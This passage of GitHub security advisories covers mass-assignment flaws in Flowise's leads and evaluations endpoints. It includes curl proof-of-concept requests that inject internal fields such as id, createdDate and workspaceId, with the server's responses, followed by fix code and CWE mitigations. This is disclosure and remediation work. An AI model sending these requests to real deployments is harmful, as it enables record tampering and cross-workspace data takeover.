Traveler\",\n \"email\": \"timetraveler@evil.com\",\n \"createdDate\": \"1970-01-01T00:00:00.000Z\"\n }\u0027\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n \"id\": \"some-auto-generated-uuid\",\n \"name\": \"Time Traveler\",\n \"email\": \"timetraveler@evil.com\",\n \"chatflowid\": \"timestamp-test-789\",\n \"chatId\": \"auto-generated-uuid\",\n \"createdDate\": \"1970-01-01T00:00:00.000Z\"\n}\n```\n\n**\u26a0\ufe0f The attacker-controlled timestamp from 1970 was accepted!**\n\n### Step 5: Exploit - Combined Mass Assignment\n\nInject multiple fields at once:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"chatflowid\": \"any-chatflow-attacker-wants\",\n \"name\": \"Mass Assignment Attacker\",\n \"email\": \"massassign@evil.com\",\n \"phone\": \"555-HACK\",\n \"id\": \"11111111-2222-3333-4444-555555555555\",\n \"createdDate\": \"2000-01-01T12:00:00.000Z\",\n \"chatId\": \"custom-chat-id-injected\"\n }\u0027\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n \"id\": \"11111111-2222-3333-4444-555555555555\",\n \"name\": \"Mass Assignment Attacker\",\n \"email\": \"massassign@evil.com\",\n \"phone\": \"555-HACK\",\n \"chatflowid\": \"any-chatflow-attacker-wants\",\n \"chatId\": \"custom-chat-id-injected\",\n \"createdDate\": \"2000-01-01T12:00:00.000Z\"\n}\n```\n\n**\u26a0\ufe0f ALL three internal fields (`id`, `createdDate`, `chatId`) were controlled by the attacker!**\n\n### Verification\n\nThe exploit succeeds because:\n1. \u2705 HTTP 200 response (request accepted)\n2. \u2705 `id` field contains attacker-controlled UUID\n3. \u2705 `createdDate` field contains attacker-controlled timestamp\n4. \u2705 `chatId` field contains attacker-controlled string\n5. \u2705 No authentication headers were sent\n\n---\n\n## Impact\n\n### Who is Affected?\n\n- **All Flowise deployments** that use the leads feature\n- Both **open-source** and **enterprise** versions\n- Any system that relies on lead data integrity\n\n### Attack Scenarios\n\n| Scenario | Impact |\n|----------|--------|\n| **ID Collision Attack** | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts |\n| **Audit Trail Manipulation** | Attacker sets fake `createdDate` values to hide malicious activity or manipulate reporting |\n| **Data Integrity Violation** | Internal fields that should be server-controlled are now user-controlled |\n| **Chatflow Association** | Attacker can link leads to arbitrary chatflows they don\u0027t own |\n\n### Severity Assessment\n\nWhile this vulnerability doesn\u0027t directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:\n\n- Data integrity issues\n- Potential business logic bypasses\n- Audit/compliance concerns\n- Foundation for chained attacks\n\n---\n\n## Recommended Fix\n\n### Option 1: Whitelist Allowed Fields (Recommended)\n\nOnly copy explicitly allowed fields from the request body:\n\n```typescript\nconst createLead = async (body: Partial\u003cILead\u003e) =\u003e {\n try {\n const chatId = body.chatId ?? uuidv4()\n\n const newLead = new Lead()\n \n // \u2705 Only copy allowed fields\n const allowedFields = [\u0027chatflowid\u0027, \u0027name\u0027, \u0027email\u0027, \u0027phone\u0027]\n for (const field of allowedFields) {\n if (body[field] !== undefined) {\n newLead[field] = body[field]\n }\n }\n newLead.chatId = chatId\n // Let TypeORM auto-generate id and createdDate\n\n const appServer = getRunningExpressApp()\n const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)\n const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n return dbResponse\n } catch (error) {\n throw new InternalFlowiseError(...)\n }\n}\n```\n\n### Option 2: Use Destructuring with Explicit Fields\n\n```typescript\nconst createLead = async (body: Partial\u003cILead\u003e) =\u003e {\n try {\n // \u2705 Only extract allowed fields\n const { chatflowid, name, email, phone } = body\n const chatId = body.chatId ?? uuidv4()\n\n const appServer = getRunningExpressApp()\n const lead = appServer.AppDataSource.getRepository(Lead).create({\n chatflowid,\n name,\n email,\n phone,\n chatId\n // id and createdDate will be auto-generated\n })\n \n const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n return dbResponse\n } catch (error) {\n throw new InternalFlowiseError(...)\n }\n}\n```\n\n### Option 3: Use class-transformer with @Exclude()\n\nAdd decorators to the Lead entity to exclude sensitive fields from assignment:\n\n```typescript\nimport { Exclude } from \u0027class-transformer\u0027\n\n@Entity()\nexport class Lead implements ILead {\n @PrimaryGeneratedColumn(\u0027uuid\u0027)\n @Exclude({ toClassOnly: true }) // \u2705 Prevent assignment from request\n id: string\n\n // ... other fields ...\n\n @CreateDateColumn()\n @Exclude({ toClassOnly: true }) // \u2705 Prevent assignment from request\n createdDate: Date\n}\n```\n\n### Additional Recommendation\n\nConsider applying the same fix to other endpoints that use `Object.assign()` with request bodies, such as:\n- `/packages/server/src/utils/addChatMessageFeedback.ts` (similar pattern)\n\n---\n\n## Resources\n\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [OWASP: Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n- [OWASP API Security Top 10 - API6:2023 Unrestricted Access to Sensitive Business Flows](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/)\n- [Node.js Security Best Practices](https://nodejs.org/en/docs/guides/security/)\n\n---",
"id": "GHSA-mq4r-h2gh-qv7x",
"modified": "2026-03-09T13:15:30Z",
"published": "2026-03-06T22:19:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-mq4r-h2gh-qv7x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30822"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Flowise Allows Mass Assignment in `/api/v1/leads` Endpoint"
}
GHSA-MQ53-PC65-WJC4
Vulnerability from github – Published: 2026-05-14 16:19 – Updated: 2026-07-07 13:34Summary
Type: Mass assignment via Object.assign(entity, body) -> client-controlled workspaceId (and on create, id) overwritten on the Evaluation entity -> cross-workspace data takeover and IDOR.
File: packages/server/src/services/evaluations/index.ts
Root cause: The Evaluation controller/service constructs a new Evaluation() and copies the request body into it via Object.assign(...) without an explicit field allowlist. The request body therefore can include workspaceId, id, createdDate, updatedDate. The server only rebinds some of these after the assign (e.g. on create, it overwrites workspaceId but not id; on update, it overwrites id but not workspaceId). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the evaluation entity's sibling controllers and as DocumentStore before it was patched in commit 840d2ae.
Affected Code
File: packages/server/src/services/evaluations/index.ts
// at line 69
Object.assign(newEvaluation, body) // <-- BUG: body.id, body.workspaceId, body.createdDate, body.updatedDate accepted
Why it's wrong: Object.assign(target, source) copies every own enumerable property of source onto target. The TypeORM/SQL persistence layer below it does not strip ownership-bearing columns, so workspaceId set in the request body lands as the new workspaceId of the persisted row. The DocumentStore patch (commit 840d2ae) demonstrated the intended fix shape (explicit field-by-field allowlist) but it has not been applied to this entity.
Exploit Chain
- Attacker is an authenticated member of workspace A. They have a session cookie / JWT for the Flowise web UI. State at this point: attacker can read and write entities scoped to workspace A.
- Attacker creates a evaluation in workspace A via the documented API (or reuses an existing one they own). They note its entity
id. - Attacker issues a
PUT /api/v1/evaluations/<id>(or equivalent endpoint) with a JSON body that includes"workspaceId": "<workspace-B-id>"(an arbitrary other workspace's UUID). State at this point: the request reaches the controller as a workspace-A authenticated request. - The controller calls
Object.assign(updateEntity, body). The body'sworkspaceIdoverwrites the entity'sworkspaceIdfield. The persistence layer commits the row. - Final state: the evaluation row is now owned by workspace B. Workspace B members can see it, modify it, and use it. Workspace A loses access (it no longer satisfies their workspace filter). The original creator's workspace audit shows nothing because the operation looked like a normal update.
Security Impact
Severity: High. Cross-workspace boundary violation by any authenticated workspace member.
Attacker capability: Any authenticated user with permission to update a evaluation can move it to any workspace whose UUID they can guess or enumerate (workspace UUIDs are exposed in many API responses, so enumeration is trivial). Evaluation runs (which may include captured prompts, model outputs, scoring data) can be moved cross-workspace via workspaceId overwrite, exposing the data to attacker workspace members.
Preconditions: Authenticated session with edit permission for the source evaluation. No second factor required. Workspace UUIDs are exposed via the /api/v1/workspaces listing or via any cross-referenced object's workspaceId field, so target enumeration is trivial.
Differential: PoC-verified by source inspection of the original GHSA-q4pr-4r26-c69r. Patched build (with the suggested fix below) refuses the workspaceId field; vulnerable build accepts it and persists it.
Suggested Fix
Already fixed in PR https://github.com/FlowiseAI/Flowise/pull/6050 (allowlist pattern applied).
// Allowlist pattern (matches commit 840d2ae for DocumentStore):
const updatedEvaluation = new Evaluation()
if (body.<allowed_field_1> !== undefined) updatedEvaluation.<allowed_field_1> = body.<allowed_field_1>
if (body.<allowed_field_2> !== undefined) updatedEvaluation.<allowed_field_2> = body.<allowed_field_2>
// ...whitelist only the documented fields. Never copy id, workspaceId, createdDate, updatedDate from the client.
Regression tests should assert that a request body containing workspaceId, id, createdDate, or updatedDate is rejected (or at minimum: does not change those columns on the persisted row) for both create and update paths.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.1"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46479"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T16:19:49Z",
"nvd_published_at": "2026-06-08T16:16:42Z",
"severity": "HIGH"
},
"details": "## Summary\n\n**Type:** Mass assignment via `Object.assign(entity, body)` -\u003e client-controlled `workspaceId` (and on create, `id`) overwritten on the Evaluation entity -\u003e cross-workspace data takeover and IDOR.\n**File:** `packages/server/src/services/evaluations/index.ts`\n**Root cause:** The Evaluation controller/service constructs a `new Evaluation()` and copies the request body into it via `Object.assign(...)` without an explicit field allowlist. The request body therefore can include `workspaceId`, `id`, `createdDate`, `updatedDate`. The server only rebinds *some* of these after the assign (e.g. on create, it overwrites `workspaceId` but not `id`; on update, it overwrites `id` but not `workspaceId`). The remaining client-controlled values land directly on the persisted row, breaking workspace isolation. Same root pattern as the evaluation entity\u0027s sibling controllers and as `DocumentStore` before it was patched in commit 840d2ae.\n\n## Affected Code\n\n**File:** `packages/server/src/services/evaluations/index.ts`\n\n```ts\n// at line 69\nObject.assign(newEvaluation, body) // \u003c-- BUG: body.id, body.workspaceId, body.createdDate, body.updatedDate accepted\n```\n\n**Why it\u0027s wrong:** `Object.assign(target, source)` copies every own enumerable property of `source` onto `target`. The TypeORM/SQL persistence layer below it does not strip ownership-bearing columns, so `workspaceId` set in the request body lands as the new `workspaceId` of the persisted row. The DocumentStore patch (commit 840d2ae) demonstrated the intended fix shape (explicit field-by-field allowlist) but it has not been applied to this entity.\n\n## Exploit Chain\n\n1. Attacker is an authenticated member of workspace A. They have a session cookie / JWT for the Flowise web UI. State at this point: attacker can read and write entities scoped to workspace A.\n2. Attacker creates a evaluation in workspace A via the documented API (or reuses an existing one they own). They note its entity `id`.\n3. Attacker issues a `PUT /api/v1/evaluations/\u003cid\u003e` (or equivalent endpoint) with a JSON body that includes `\"workspaceId\": \"\u003cworkspace-B-id\u003e\"` (an arbitrary other workspace\u0027s UUID). State at this point: the request reaches the controller as a workspace-A authenticated request.\n4. The controller calls `Object.assign(updateEntity, body)`. The body\u0027s `workspaceId` overwrites the entity\u0027s `workspaceId` field. The persistence layer commits the row.\n5. Final state: the evaluation row is now owned by workspace B. Workspace B members can see it, modify it, and use it. Workspace A loses access (it no longer satisfies their workspace filter). The original creator\u0027s workspace audit shows nothing because the operation looked like a normal update.\n\n## Security Impact\n\n**Severity:** High. Cross-workspace boundary violation by any authenticated workspace member.\n**Attacker capability:** Any authenticated user with permission to update a evaluation can move it to any workspace whose UUID they can guess or enumerate (workspace UUIDs are exposed in many API responses, so enumeration is trivial). Evaluation runs (which may include captured prompts, model outputs, scoring data) can be moved cross-workspace via `workspaceId` overwrite, exposing the data to attacker workspace members.\n**Preconditions:** Authenticated session with edit permission for the source evaluation. No second factor required. Workspace UUIDs are exposed via the `/api/v1/workspaces` listing or via any cross-referenced object\u0027s `workspaceId` field, so target enumeration is trivial.\n**Differential:** PoC-verified by source inspection of the original GHSA-q4pr-4r26-c69r. Patched build (with the suggested fix below) refuses the `workspaceId` field; vulnerable build accepts it and persists it.\n\n## Suggested Fix\n\nAlready fixed in PR https://github.com/FlowiseAI/Flowise/pull/6050 (allowlist pattern applied).\n\n```ts\n// Allowlist pattern (matches commit 840d2ae for DocumentStore):\nconst updatedEvaluation = new Evaluation()\nif (body.\u003callowed_field_1\u003e !== undefined) updatedEvaluation.\u003callowed_field_1\u003e = body.\u003callowed_field_1\u003e\nif (body.\u003callowed_field_2\u003e !== undefined) updatedEvaluation.\u003callowed_field_2\u003e = body.\u003callowed_field_2\u003e\n// ...whitelist only the documented fields. Never copy id, workspaceId, createdDate, updatedDate from the client.\n```\n\nRegression tests should assert that a request body containing `workspaceId`, `id`, `createdDate`, or `updatedDate` is rejected (or at minimum: does not change those columns on the persisted row) for both create and update paths.",
"id": "GHSA-mq53-pc65-wjc4",
"modified": "2026-07-07T13:34:25Z",
"published": "2026-05-14T16:19:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-mq53-pc65-wjc4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46479"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/6050"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/dc07f4062b852033554543a3cff3daf3433b0dac"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "FlowiseAI: Evaluation create+update mass-assignment allows cross-workspace evaluation takeover"
}
Mitigation
- If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.
- For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
Strategy: Input Validation
For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.
Mitigation
Strategy: Refactoring
Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.
No CAPEC attack patterns related to this CWE.